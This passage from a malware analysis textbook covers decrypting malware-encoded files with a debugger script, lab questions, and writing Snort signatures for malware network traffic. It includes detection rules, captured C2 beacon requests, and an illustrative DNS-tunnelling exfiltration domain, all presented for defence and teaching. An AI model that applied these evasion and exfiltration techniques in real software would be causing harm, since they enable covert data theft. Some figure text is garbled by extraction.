reading prematurely).
The imm.remoteVirtualAlloc command allocates memory within the mal-
ware process space inside the debugger. This is memory that can be directly
referenced by the malware. The cfile.read command reads the encrypted file
into a Python buffer, and then imm.writeMemory is used to copy the memory
from the Python buffer into the memory of the process being debugged. The
imm.getRegs function is used to get the current register values so that the EBP
register can be used to locate the two key arguments: the memory buffer that
is to be decrypted and its size. These arguments are set using the imm.writeLong
function.
The actual running of the code is done in two stages as follows, and is
guided by the setting of breakpoints using the imm.setBreakpoint calls, the set-
ting of EIP using the imm.setReg("EIP",location) calls, and the imm.Run calls:
The initial portion of code run is the start of the function, which sets
up the stack frame and sets the counter to zero. This first stage is from
0x004011A9 (where EIP is set) until 0x004011b7 (where a breakpoint
stops execution).
The second part of the code to run is the actual encryption loop, for which
the debugger moves the instruction pointer to the start of the crypto-
graphic initialization function at 0x004011f5. This second stage is from
0x004011f5 (where EIP is set), through the loop one time for each byte
decrypted, until the loop is exited and 0x0040122a is reached (where a
breakpoint stops execution).
294
Chapter 13
Finally, the same buffer is read out of the process memory into the
Python memory (using imm.readMemory) and then output to a file (using
pfile.write).
Actual use of this script requires a little preparation. The file to be
decrypted must be in the expected location (C:\encrypted_file). In order to
run the malware, you open it in ImmDbg. To run the script, you select the
Run Python Script option from the ImmLib menu (or press ALT-F3) and
select the file containing the Python script in Listing 13-12. Once you run the
file, the output file (decrypted_file) will show up in the ImmDbg base directory
(which is C:\Program Files\Immunity Inc\Immunity Debugger), unless the path is
specified explicitly.
In this example, the encryption function stood alone. It didn’t have any
dependencies and was fairly straightforward. However, not all encoding func-
tions are stand-alone. Some require initialization, possibly with a key. In some
cases, this key may not even reside in the malware, but may be acquired from
an outside source, such as over the network. In order to support decoding in
these cases, it is necessary to first have the malware properly prepared.
Preparation may merely mean that the malware needs to start up in the
normal fashion, if, for example, it uses an embedded password as a key. In
other cases, it may be necessary to customize the external environment in
order to get the decoding to work. For example, if the malware communi-
cates using encryption seeded by a key the malware receives from the server,
it may be necessary either to script the key-setup algorithm with the appropri-
ate key material or to simulate the server sending the key.
Conclusion
Both malware authors and malware analysts are continually improving their
capabilities and skills. In an effort to avoid detection and frustrate analysts,
malware authors are increasingly employing measures to protect their inten-
tions, their techniques, and their communications. A primary tool at their
disposal is encoding and encryption. Encoding affects more than just com-
munications; it also pertains to making malware more difficult to analyze and
understand. Fortunately, with the proper tools, many techniques in use can
be relatively easily identified and countered.
This chapter covered the most popular encryption and encoding tech-
niques in use by malware. It also discussed a number of tools and techniques
that you can use to identify, understand, and decode the encoding methods
used by malware.
This chapter focused on encoding generally, explaining how to identify
encoding and perform decoding. In the next chapter, we will look specifi-
cally at how malware uses the network for command and control. In many
cases, this network command-and-control traffic is encoded, yet it is still pos-
sible to create robust signatures to detect the malicious communication.
Data Encoding
295
L A B S
Lab 13-1
Analyze the malware found in the file Lab13-01.exe.
Questions
1.
Compare the strings in the malware (from the output of the strings com-
mand) with the information available via dynamic analysis. Based on this
comparison, which elements might be encoded?
2.
Use IDA Pro to look for potential encoding by searching for the string
xor. What type of encoding do you find?
3.
What is the key used for encoding and what content does it encode?
4.
Use the static tools FindCrypt2, Krypto ANALyzer (KANAL), and the
IDA Entropy Plugin to identify any other encoding mechanisms. What
do you find?
5.
What type of encoding is used for a portion of the network traffic sent by
the malware?
6.
Where is the Base64 function in the disassembly?
7.
What is the maximum length of the Base64-encoded data that is sent?
What is encoded?
8.
In this malware, would you ever see the padding characters (= or ==) in
the Base64-encoded data?
9.
What does this malware do?
Lab 13-2
Analyze the malware found in the file Lab13-02.exe.
Questions
1.
Using dynamic analysis, determine what this malware creates.
2.
Use static techniques such as an xor search, FindCrypt2, KANAL, and the
IDA Entropy Plugin to look for potential encoding. What do you find?
3.
Based on your answer to question 1, which imported function would be a
good prospect for finding the encoding functions?
4.
Where is the encoding function in the disassembly?
5.
Trace from the encoding function to the source of the encoded content.
What is the content?
296
Chapter 13
6.
Can you find the algorithm used for encoding? If not, how can you
decode the content?
7.
Using instrumentation, can you recover the original source of one of the
encoded files?
Lab 13-3
Analyze the malware found in the file Lab13-03.exe.
Questions
1.
Compare the output of strings with the information available via
dynamic analysis. Based on this comparison, which elements might
be encoded?
2.
Use static analysis to look for potential encoding by searching for the
string xor. What type of encoding do you find?
3.
Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to
identify any other encoding mechanisms. How do these findings com-
pare with the XOR findings?
4.
Which two encoding techniques are used in this malware?
5.
For each encoding technique, what is the key?
6.
For the cryptographic encryption algorithm, is the key sufficient? What
else must be known?
7.
What does this malware do?
8.
Create code to decrypt some of the content produced during dynamic
analysis. What is this content?
M A L W A R E - F O C U S E D
N E T W O R K S I G N A T U R E S
Malware makes heavy use of network connectivity,
and in this chapter, we’ll explain how to develop effec-
tive network-based countermeasures. Countermeasures
are actions taken in response to threats, to detect or
prevent malicious activity. To develop effective countermeasures, you must
understand how malware uses the network and how the challenges faced by
malware authors can be used to your advantage.
Network Countermeasures
Basic attributes of network activity—such as IP addresses, TCP and UDP
ports, domain names, and traffic content—are used by networking and
security devices to provide defenses. Firewalls and routers can be used to
restrict access to a network based on IP addresses and ports. DNS servers
can be configured to reroute known malicious domains to an internal host,
known as a sinkhole. Proxy servers can be configured to detect or prevent
access to specific domains.
298
Chapter 14
Intrusion detection systems (IDSs), intrusion prevention systems (IPSs),
and other security appliances, such as email and web proxies, make it possible
to employ content-based countermeasures. Content-based defense systems allow
for deeper inspection of traffic, and include the network signatures used by
an IDS and the algorithms used by a mail proxy to detect spam. Because basic
network indicators such as IP addresses and domain names are supported by
most defensive systems, they are often the first items that a malware analyst will
investigate.
NOTE
The commonly used term intrusion detection system is outdated. Signatures are
used to detect more than just intrusions, such as scanning, service enumeration and
profiling, nonstandard use of protocols, and beaconing from installed malware. An
IPS is closely related to an IDS, the difference being that while an IDS is designed to
merely detect the malicious traffic, an IPS is designed to detect malicious traffic and
prevent it from traveling over the network.
Observing the Malware in Its Natural Habitat
The first step in malware analysis should not be to run the malware in your
lab environment, or break open the malware and start analyzing the dis-
assembled code. Rather, you should first review any data you already have
about the malware. Occasionally, an analyst is handed a malware sample
(or suspicious executable) without any context, but in most situations, you
can acquire additional data. The best way to start network-focused malware
analysis is to mine the logs, alerts, and packet captures that were already gen-
erated by the malware.
There are distinct advantages to information that comes from real net-
works, rather than from a lab environment:
Live-captured information will provide the most transparent view of a
malicious application’s true behavior. Malware can be programmed to
detect lab environments.
Existing information from active malware can provide unique insights
that accelerate analysis. Real traffic provides information about the mal-
ware at both end points (client and server), whereas in a lab environ-
ment, the analyst typically has access only to information about one of
the end points. Analyzing the content received by malware (the parsing
routines) is typically more challenging than analyzing the content mal-
ware produces. Therefore, bidirectional sample traffic can help seed the
analysis of the parsing routines for the malware the analyst has in hand.
Additionally, when passively reviewing information, there is no risk that
your analysis activities will be leaked to the attacker. This issue will be
explained in detail in “OPSEC = Operations Security” on page 299.
Indications of Malicious Activity
Suppose we’ve received a malware executable to analyze, and we run it in
our lab environment, keeping an eye on networking events. We find that
Malware-Focused Network Signatures
299
the malware does a DNS request for www.badsite.com, and then does an
HTTP GET request on port 80 to the IP address returned in the DNS record.
Thirty seconds later, it tries to beacon out to a specific IP address without
doing a DNS query. At this point, we have three potential indicators of
malicious activity: a domain name with its associated IP address, a stand-
alone IP address, and an HTTP GET request with URI and contents, as
shown in Table 14-1.
We would probably want to further research these indicators. Internet
searches might reveal how long ago the malware was created, when it was
first detected, how prevalent it is, who might have written it, and what the
attackers’ objectives might be. A lack of information is instructive as well,
since it can imply the existence of a targeted attack or a new campaign.
Before rushing to your favorite search engine, however, it is important to
understand the potential risks associated with your online research activities.
OPSEC = Operations Security
When using the Internet for research, it is important to understand the con-
cept of operations security (OPSEC). OPSEC is a term used by the government
and military to describe a process of preventing adversaries from obtaining
sensitive information.
Certain actions you take while investigating malware can inform the mal-
ware author that you’ve identified the malware, or may even reveal personal
details about you to the attacker. For example, if you are analyzing malware
from home, and the malware was sent into your corporate network via email,
the attacker may notice that a DNS request was made from an IP address
space outside the space normally used by your company. There are many
potential ways for an attacker to identify investigative activity, such as the
following:
Send a targeted phishing (known as spear-phishing) email with a link to
a specific individual and watch for access attempts to that link from IP
addresses outside the expected geographical area.
Design an exploit to create an encoded link in a blog comment (or some
other Internet-accessible and freely editable site), effectively creating a
private but publicly accessible infection audit trail.
Table 14-1: Sample Network Indicators of Malicious Activity
Information type
Indicator
Domain (with resolved IP address)
www.badsite.com (123.123.123.10)
IP address
123.64.64.64
GET request
GET /index.htm HTTP 1.1
Accept: */*
User-Agent: Wefa7e
Cache-Control: no
300
Chapter 14
Embed an unused domain in malware and watch for attempts to resolve
the domain.
If attackers are aware that they are being investigated, they may change
tactics and effectively disappear.
Safely Investigate an Attacker Online
The safest option is to not use the Internet to investigate the attack at all, but
this is often impractical. If you do use the Internet, you should use indirec-
tion to evade the attacker’s potentially watchful eye.
Indirection Tactics
One indirection tactic is to use some service or mechanism that is designed to
provide anonymity, such as Tor, an open proxy, or a web-based anonymizer.
While these types of services may help to protect your privacy, they often pro-
vide clues that you are trying to hide, and thus could arouse the suspicions of
an attacker.
Another tactic is to use a dedicated machine, often a virtual machine, for
research. You can hide the precise location of a dedicated machine in several
ways, such as the following:
By using a cellular connection
By tunneling your connection via Secure Shell (SSH) or a virtual private
network (VPN) through a remote infrastructure
By using an ephemeral remote machine running in a cloud service, such
as Amazon Elastic Compute Cloud (Amazon EC2)
A search engine or site designed for Internet research can also provide
indirection. Searching in a search engine is usually fairly safe, with two caveats:
The inclusion of a domain name in a query that the engine was not pre-
viously aware of may prompt crawler activity.
Clicking search engine results, even for cached resources, still activates
the secondary and later links associated with the site.
The next section highlights a few websites that provide consolidated
information about networking entities, such as whois records, DNS lookups
(including historical lookup records), and reverse DNS lookups.
Getting IP Address and Domain Information
The two fundamental elements that compose the landscape of the Internet
are IP addresses and domain names. DNS translates domain names like
www.yahoo.com into IP addresses (and back). Unsurprisingly, malware also
uses DNS to look like regular traffic, and to maintain flexibility and robust-
ness when hosting its malicious activities.
Malware-Focused Network Signatures
301
Figure 14-1 shows the types of information available about DNS domains
and IP addresses. When a domain name is registered, registration informa-
tion such as the domain, its name servers, relevant dates, and contact infor-
mation for the entity who registered the name is stored in a domain registrar.
Internet addresses have registries called Regional Internet Registries (RIRs),
which store IP address blocks, the blocks’ organization assignment, and vari-
ous types of contact information. DNS information represents the mapping
between a domain name and an IP address. Additionally, metadata is avail-
able, including blacklists (which can apply to IP addresses or domain names)
and geographical information (which applies only to IP addresses).
Figure 14-1: Types of information available about DNS domains and IP addresses
While both of the domain and IP registries can be queried manually
using command-line tools, there are also numerous free websites that will
perform these basic lookups for you. Using websites to query has several
advantages:
Many will do follow-on lookups automatically.
They provide a level of anonymity.
They frequently provide additional metadata based on historical infor-
mation or queries of other sources of information, including blacklists
and geographical information for IP addresses.
Figure 14-2 is an example of two whois requests for domains that were
used as command-and-control servers for backdoors used in targeted attacks.
Although the backdoors were different, the name listed under the registra-
tion is the same for both domains.
Three lookup sites deserve special mention:
DomainTools (http://www.domaintools.com/)
Provides historical whois records, reverse IP lookups showing all the
domains that resolve to a particular IP address, and reverse whois, allow-
ing whois record lookups based on contact information metadata. Some
of the services provided by DomainTools require membership, and some
also require payment.
Domain Registry
DNS Records (Domain-to-IP Mapping)
IP Registry
Domain Blacklists
IP Blacklists
Geo
S R
s
n-t IP
p
g))
302
Chapter 14
RobTex (http://www.robtex.com/)
Provides information about multiple domain names that point to a
single IP address and integrates a wealth of other information, such
as whether a domain or IP address is on one of several blacklists.
BFK DNS logger (http://www.bfk.de/bfk_dnslogger_en.html)
Uses passive DNS monitoring information. This is one of the few freely
available resources that does this type of monitoring. There are several
other passive DNS sources that require a fee or are limited to profes-
sional security researchers.
Figure 14-2: Sample whois request for two different domains
Content-Based Network Countermeasures
Basic indicators such as IP addresses and domain names can be valuable for
defending against a specific version of malware, but their value can be short-
lived, since attackers are adept at quickly moving to different addresses or
domains. Indicators based on content, on the other hand, tend to be more
valuable and longer lasting, since they identify malware using more funda-
mental characteristics.
Signature-based IDSs are the oldest and most commonly deployed sys-
tems for detecting malicious activity via network traffic. IDS detection depends
on knowledge about what malicious activity looks like. If you know what it
looks like, you can create a signature for it and detect it when it happens
again. An ideal signature can send an alert every time something malicious
happens (true positive), but will not create an alert for anything that looks
like malware but is actually legitimate (false positive).
Malware-Focused Network Signatures
303
Intrusion Detection with Snort
One of the most popular IDSs is called Snort. Snort is used to create a signa-
ture or rule that links together a series of elements (called rule options) that
must be true before the rule fires. The primary rule options are divided into
those that identify content elements (called payload rule options in Snort lingo)
and those that identify elements that are not content related (called non-
payload rule options). Examples of nonpayload rule options include certain
flags, specific values of TCP or IP headers, and the size of the packet payload.
For example, the rule option flow:established,to_client selects packets that
are a part of a TCP session that originate at a server and are destined for a
client. Another example is dsize:200, which selects packets that have 200 bytes
of payload.
Let’s create a basic Snort rule to detect the initial malware sample we
looked at earlier in this chapter (and summarized in Table 14-1). This mal-
ware generates network traffic consisting of an HTTP GET request.
When browsers and other HTTP applications make requests, they popu-
late a User-Agent header field in order to communicate to the application
that is being used for the request. A typical browser User-Agent starts with
the string Mozilla (due to historical convention), and may look something
like Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1). This User-Agent pro-
vides information about the version of the browser and OS.
The User-Agent used by the malware we discussed earlier is Wefa7e, which
is distinctive and can be used to identify the malware-generated traffic. The
following signature targets the unusual User-Agent string that was used by
the sample run from our malware:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious User-Agent";
content:"|0d 0a|User-Agent\: Wefa7e"; classtype:trojan-activity; sid:2000001; rev:1;)
Snort rules are composed of two parts: a rule header and rule options.
The rule header contains the rule action (typically alert), protocol, source
and destination IP addresses, and source and destination ports.
By convention, Snort rules use variables to allow customization of its
environment: the $HOME_NET and $EXTERNAL_NET variables are used to specify
internal and external network IP address ranges, and $HTTP_PORTS defines the
ports that should be interpreted as HTTP traffic. In this case, since the -> in
the header indicates that the rule applies to traffic going in only one direc-
tion, the $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS header matches outbound
traffic destined for HTTP ports.
The rule option section contains elements that determine whether the
rule should fire. The inspected elements are generally evaluated in order,
and all must be true for the rule to take action. Table 14-2 describes the key-
words used in the preceding rule.
304
Chapter 14
Within the content term, the pipe symbol (|) is used to indicate
the start and end of hexadecimal notation. Anything enclosed between
two pipe symbols is interpreted as the hex values instead of raw values.
Thus, |0d 0a| represents the break between HTTP headers. In the sample
signature, the content rule option will match the HTTP header field
User-Agent: Wefa7e, since HTTP headers are separated by the two characters
0d and 0a.
We now have the original indicators and the Snort signature. Often,
especially with automated analysis techniques such as sandboxes, analysis
of network-based indicators would be considered complete at this point.
We have IP addresses to block at firewalls, a domain name to block at the
proxy, and a network signature to load into the IDS. Stopping here, how-
ever, would be a mistake, since the current measures provide only a false
sense of security.
Taking a Deeper Look
A malware analyst must always strike a balance between expediency and accu-
racy. For network-based malware analysis, the expedient route is to run mal-
ware in a sandbox and assume the results are sufficient. The accurate route is
to fully analyze malware function by function.
The example in the previous section is real malware for which a Snort
signature was created and submitted to the Emerging Threats list of signa-
tures. Emerging Threats is a set of community-developed and freely available
rules. The creator of the signature, in his original submission of the pro-
posed rule, stated that he had seen two values for the User-Agent strings in
real traffic: Wefa7e and Wee6a3. He submitted the following rule based on his
observation.
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN
WindowsEnterpriseSuite FakeAV Dynamic User-Agent"; flow:established,to_server;
content:"|0d 0a|User-Agent\: We"; isdataat:6,relative; content:"|0d 0a|";
distance:0; pcre:"/User-Agent\: We[a-z0-9]{4}\x0d\x0a/";
classtype:trojan-activity; reference:url,www.threatexpert.com/report.aspx?md5=
d9bcb4e4d650a6ed4402fab8f9ef1387; sid:2010262; rev:1;)
This rule has a couple of additional keywords, as described in Table 14-3.
Table 14-2: Snort Rule Keyword Descriptions
Keyword
Description
msg
The message to print with an alert or log entry
content
Searches for specific content in the packet payload
(see the discussion following the table)
classtype
General category to which rule belongs
sid
Unique identifier for rules
rev
With sid, uniquely identifies rule revisions
Malware-Focused Network Signatures
305
While the rule is rather long, the core of the rule is simply the User-
Agent string where We is followed by exactly four alphanumeric characters
(We[a-z0-9]{4}). In the Perl Compatible Regular Expressions (PCRE) nota-
tion used by Snort, the following characters are used:
Square brackets ([ and ]) indicate a set of possible characters.
Curly brackets ({ and }) indicate the number of characters.
Hexadecimal notation for bytes is of the form \xHH.
As noted previously, the rule headers provide some basic information,
such as IP address (both source and destination), port, and protocol. Snort
keeps track of TCP sessions, and in doing so allows you to write rules spe-
cific to either client or server traffic based on the TCP handshake. In this
rule, the flow keyword ensures that the rule fires only for client-generated
traffic within an established TCP session.
After some use, this rule was modified slightly to remove the false posi-
tives associated with the use of the popular Webmin software, which happens
to have a User-Agent string that matches the pattern created by the malware.
The following is the most recent rule as of this writing:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ET TROJAN
WindowsEnterpriseSuite FakeAV Dynamic User-Agent"; flow:established,to_server;
content:"|0d 0a|User-Agent|3a| We"; isdataat:6,relative; content:"|0d 0a|";
distance:0; content:!"User-Agent|3a| Webmin|0d 0a|";
pcre:"/User-Agent\: We[a-z0-9]{4}\x0d\x0a/"; classtype:trojan-activity;
reference:url,www.threatexpert.com/report.aspx?md5=d9bcb4e4d650a6ed4402fab8f9
ef1387; reference:url,doc.emergingthreats.net/2010262; reference:url,www.emer
gingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_WindowsEnterpriseFakeAV;
sid:2010262; rev:4;)
The bang symbol (!) before the content expression (content:!"User-
Agent|3a| Webmin|0d 0a|") indicates a logically inverted selection (that is, not),
so the rule will trigger only if the content described is not present.
This example illustrates several attributes typical of the signature-
development process. First, most signatures are created based on analysis
of the network traffic, rather than on analysis of the malware that generates
the traffic. In this example, the submitter identified two strings generated
by the malware, and speculated that the malware uses the We prefix plus four
additional random alphanumeric characters.
Table 14-3: Additional Snort Rule Keyword Descriptions
Keyword
Description
flow
Specifies characteristics of the TCP flow being inspected, such as whether a flow
has been established and whether packets are from the client or the server
isdataat
Verifies that data exists at a given location (optionally relative to the last match)
distance
Modifies the content keyword; indicates the number of bytes that should be
ignored past the most recent pattern match
pcre
A Perl Compatible Regular Expression that indicates the pattern of bytes to match
reference
A reference to an external system
306
Chapter 14
Second, the uniqueness of the pattern specified by the signature is tested
to ensure that the signature is free of false positives. This is done by running
the signature across real traffic and identifying instances when false positives
occur. In this case, when the original signature was run across real traffic,
legitimate traffic with a User-Agent of Webmin produced false positives. As a
result, the signature was refined by adding an exception for the valid traffic.
As previously mentioned, traffic captured when malware is live may pro-
vide details that are difficult to replicate in a laboratory environment, since
an analyst can typically see only one side of the conversation. On the other
hand, the number of available samples of live traffic may be small. One way
to ensure that you have a more robust sample is to repeat the dynamic analy-
sis of the malware many times. Let’s imagine we ran the example malware
multiple times and generated the following list of User-Agent strings:
This is an easy way to identify random elements of malware-generated
traffic. These results appear to confirm that the assumptions made by the
official Emerging Threats signature are correct. The results suggest that the
character set of the four characters is alphanumeric, and that the characters
are randomly distributed. However, there is another issue with the current
signature (assuming that the results were real): The results appear to use a
smaller character set than those specified in the signature. The PCRE is listed
as /User-Agent\: We[a-z0-9]{4}\x0d\x0a/, but the results suggest that the char-
acters are limited to a–f rather than a–z. This character distribution is often
used when binary values are converted directly to hex representations.
As an additional thought experiment, imagine that the results from
multiple runs of the malware resulted in the following User-Agent strings
instead:
While the signature may catch some instances, it obviously is not ideal
given that whatever is generating the traffic can produce Wf and W1 (at least)
in addition to We. Also, it is clear from this sample that although the User-
Agent is often six characters, it could be seven characters.
We4b58
We7d7f
Wea4ee
We70d3
Wea508
We6853
We3d97
We8d3a
Web1a7
Wed0d1
We93d0
Wec697
We5186
We90d8
We9753
We3e18
We4e8f
We8f1a
Wead29
Wea76b
Wee716
Wfbcc5
Wf4abd
Wea4ee
Wfa78f
Wedb29
W101280
W101e0f
Wfa72f
Wefd95
Wf617a
Wf8a9f
Wf286f
We9fc4
Wf4520
Wea6b8
W1024e7
Wea27f
Wfd1c1
W104a9b
Wff757
Wf2ab8
Malware-Focused Network Signatures
307
Because the original sample size was two, the assumptions made about
the underlying code may have been overly aggressive. While we don’t know
exactly what the code is doing to produce the listed results, we can now make
a better guess. Dynamically generating additional samples allows an analyst
to make more informed assumptions about the underlying code.
Recall that malware can use system information as an input to what it
sends out. Thus, it’s helpful to have at least two systems generating sample
traffic to prevent false assumptions about whether some part of a beacon is
static. The content may be static for a particular host, but may vary from host
to host.
For example, let’s assume that we run the malware multiple times on a
single host and get the following results:
Assuming that we didn’t have any live traffic to cross-check with, we
might mistakenly write a rule to detect this single User-Agent. However,
the next host to run the malware might produce this:
When writing signatures, it is important to identify variable elements of
the targeted content so that they are not mistakenly included in the signa-
ture. Content that is different on every trial run typically indicates that the
source of the data has some random seed. Content that is static for a partic-
ular host but varies with different hosts suggests that the content is derived
from some host attribute. In some lucky cases, content derived from a host
attribute may be sufficiently predictable to justify inclusion in a network
signature.
Combining Dynamic and Static Analysis Techniques
So far, we have been using either existing data or output from dynamic anal-
ysis to inform the generation of our signatures. While such measures are
expedient and generate information quickly, they sometimes fail to identify
the deeper characteristics of the malware that can lead to more accurate and
longer-lasting signatures.
In general, there are two objectives of deeper analysis:
Full coverage of functionality
The first step is increasing the coverage of code using dynamic analysis.
This process is described in Chapter 3, and typically involves providing
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
Wefd95
We9753
We9753
We9753
We9753
We9753
We9753
We9753
We9753
We9753
We9753
We9753
We9753
308
Chapter 14
new inputs so that the code continues down unused paths, in order to
determine what the malware is expecting to receive. This is typically
done with a tool like INetSim or with custom scripts. The process can
be guided either by actual malware traffic or by static analysis.
Understanding functionality, including inputs and outputs
Static analysis can be used to see where and how content is generated,
and to predict the behavior of malware. Dynamic analysis can then be
used to confirm the expected behavior predicted by static analysis.
The Danger of Overanalysis
If the goal of malware analysis is to develop effective network indicators,
then you don’t need to understand every block of code. But how do you
know whether you have a sufficient understanding of the functionality of
a piece of malware? Table 14-4 proposes a hierarchy of analysis levels.
The minimum level of analysis is a general understanding of the meth-
ods associated with network communication. However, to develop powerful
network indicators, the analyst must reach a level between an understanding
of all the communication methods used and the ability to replicate opera-
tional capability.
Operational replication is the ability to create a tool that closely mimics the
one the attacker has created to operate the malware remotely. For example,
if the malware operates as a client, then the malware server software would
be a server that listens for connections and provides a console, which the
analyst can use to tickle every function that the malware can perform, just
as the malware creator would.
Effective and robust signatures can differentiate between regular traffic
and the traffic associated with malware, which is a challenge, since malware
authors are continually evolving their malware to blend effectively with nor-
mal traffic. Before we tackle the mechanics of analysis, we’ll discuss the his-
tory of malware and how camouflage strategies have changed.
Hiding in Plain Sight
Evading detection is one of the primary objectives of someone operating a
backdoor, since being detected results in both the loss of the attacker’s
access to an existing victim and an increased risk of future detection.
Table 14-4: Malware Analysis Levels
Analysis level
Description
Surface analysis
An analysis of initial indicators, equivalent to sandbox output
Communication method
coverage
An understanding of the code for each type of communication
technique
Operational replication
The ability to create a tool that allows for full operation of the
malware (a server-based controller, for example)
Code coverage
An understanding of every block of code
Malware-Focused Network Signatures
309
Malware has evolved to evade detection by trying to blend in with the back-
ground, using the following techniques.
Attackers Mimic Existing Protocols
One way attackers blend in with the background is to use the most popular
communication protocols, so that their malicious activity is more likely to get
lost in the crowd. When Internet Relay Chat (IRC) was popular in the 1990s,
attackers used it extensively, but as legitimate IRC traffic decreased, defend-
ers began watching IRC traffic carefully, and attackers had a harder time
blending in.
Since HTTP, HTTPS, and DNS are today’s most extensively used proto-
cols on the Internet, attackers primarily use these protocols. These protocols
are not as closely watched, because it’s extremely difficult to monitor such a
large amount of traffic. Also, they are much less likely to be blocked, due to
the potential consequences of accidentally blocking a lot of normal traffic.
Attackers blend in by using popular protocols in a way similar to legiti-
mate traffic. For example, attackers often use HTTP for beaconing, since
the beacon is basically a request for further instructions, like the HTTP GET
request, and they use HTTPS encryption to hide the nature and intent of the
communications.
However, attackers also abuse standard protocols in order to achieve
command-and-control objectives. For example, although DNS was intended
to provide quick, short exchanges of information, some attackers tunnel
longer streams of information over DNS by encoding the information and
embedding it in fields that have a different intended purpose. A DNS name
can be manufactured based on the data the attacker wishes to pass. Malware
attempting to pass a user’s secret password could perform a DNS request for
the domain www.thepasswordisflapjack.maliciousdomain.com.
Attackers can also abuse the HTTP standard. The GET method is intended
for requesting information, and the POST method is intended for sending
information. Since it’s intended for requests, the GET method provides a
limited amount of space for data (typically around 2KB). Spyware regularly
includes instructions on what it wants to collect in the URI path or query of
an HTTP GET, rather than in the body of the message. Similarly, in a piece of
malware observed by the authors, all information from the infected host was
embedded in the User-Agent fields of multiple HTTP GET requests. The fol-
lowing two GET requests show what the malware produced to send back a
command prompt followed by a directory listing:
GET /world.html HTTP/1.1
User-Agent: %^&NQvtmw3eVhTfEBnzVw/aniIqQB6qQgTvmxJzVhjqJMjcHtEhI97n9+yy+duq+h3
b0RFzThrfE9AkK9OYIt6bIM7JUQJdViJaTx+q+h3dm8jJ8qfG+ezm/C3tnQgvVx/eECBZT87NTR/fU
QkxmgcGLq
Cache-Control: no-cache
GET /world.html HTTP/1.1
User-Agent: %^&EBTaVDPYTM7zVs7umwvhTM79ECrrmd7ZVd7XSQFvV8jJ8s7QVhcgVQOqOhPdUQB
XEAkgVQFvms7zmd6bJtSfHNSdJNEJ8qfGEA/zmwPtnC3d0M7aTs79KvcAVhJgVQPZnDIqSQkuEBJvn
D/zVwneRAyJ8qfGIN6aIt6aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHqfGIN6aIt6
310
Chapter 14
aIt6cI86qI9mlIe+q+OfqE86qLA/FOtjqE86qE86qE86qHsjJ8tAbHeEbHeEbIN6qE96jKt6kEABJE
86qE9cAMPE4E86qE86qE86qEA/vmhYfVi6J8t6dHe6cHeEbI9uqE96jKtEkEABJE86qE9cAMPE4E86
qE86qE86qEATrnw3dUR/vmbfGIN6aINAaIt6cI86qI9ulJNmq+OfqE86qLA/FOtjqE86qE86qE86qN
Ruq/C3tnQgvVx/e9+ybIM2eIM2dI96kE86cINygK87+NM6qE862/AvMLs6qE86qE86qE87NnCBdn87
JTQkg9+yqE86qE86qE86qE86qE86bEATzVCOymduqE86qE86qE86qE86qE96qSxvfTRIJ8s6qE86qE
86qE86qE86qE9Sq/CvdGDIzE86qK8bgIeEXItObH9SdJ87s0R/vmd7wmwPv9+yJ8uIlRA/aSiPYTQk
fmd7rVw+qOhPfnCvZTiJmMtj
Cache-Control: no-cache
Attackers tunnel malicious communications by misusing fields in a
protocol to avoid detection. Although the sample command traffic looks
unusual to a trained eye, the attackers are betting that by hiding their con-
tent in an unusual place, they may be able to bypass scrutiny. If defenders
search the contents of the body of the HTTP session in our sample, for
example, they won’t see any traffic.
Malware authors have evolved their techniques over time to make mal-
ware look more and more realistic. This evolution is especially apparent in
the way that malware has treated one common HTTP field: the User-Agent.
When malware first started mimicking web requests, it disguised its traffic as
a web browser. This User-Agent field is generally fixed based on the browser
and various installed components. Here’s a sample User-Agent string from a
Windows host:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)
The first generation of malware that mimicked the web browser used
completely manufactured User-Agent strings. Consequently, this malware
was easily detectable by the User-Agent field alone. The next generation of
malware included measures to ensure that its User-Agent string used a field
that was common in real network traffic. While that made the attacker blend
in better, network defenders could still use a static User-Agent field to create
effective signatures.
Here is an example of a generic but popular User-Agent string that mal-
ware might employ:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
In the next stage, malware introduced a multiple-choice scheme. The mal-
ware would include several User-Agent fields—all commonly used by normal
traffic—and it would switch between them to evade detection. For example,
malware might include the following User-Agent strings:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)
The latest User-Agent technique uses a native library call that constructs
requests with the same code that the browser uses. With this technique, the
User-Agent string from the malware (and most other aspects of the request
as well) is indistinguishable from the User-Agent string from the browser.
Malware-Focused Network Signatures
311
Attackers Use Existing Infrastructure
Attackers leverage existing legitimate resources to cloak malware. If the only
purpose of a server is to service malware requests, it will be more vulnerable
to detection than a server that’s also used for legitimate purposes.
The attacker may simply use a server that has many different purposes.
The legitimate uses will obscure the malicious uses, since investigation of the
IP address will also reveal the legitimate uses.
A more sophisticated approach is to embed commands for the malware
in a legitimate web page. Here are the first few lines of a sample page that
has been repurposed by an attacker:
Roaring Capital | Seed Stage Venture Capital Fund in Chicago
The third line from the bottom is actually an encoded command to mal-
ware to sleep for a long time before checking back. (The Base64 decoding of
bG9uZ3NsZWVw is longsleep.) The malware reads this command and calls a sleep
command to sleep the malware process. From a defender’s point of view, it is
extremely difficult to tell the difference between a valid request for a real
web page and malware making the same request but interpreting some part
of the web page as a command.
Leveraging Client-Initiated Beaconing
One trend in network design is the increased use of Network Address Trans-
lation (NAT) and proxy solutions, which disguise the host making outbound
requests. All requests look like they are coming from the proxy IP address
instead. Attackers waiting for requests from malware likewise have difficulty
identifying which (infected) host is communicating.
One very common malware technique is to construct a profile of the
victim machine and pass that unique identifier in its beacon. This tells the
attacker which machine is attempting to initiate communication before
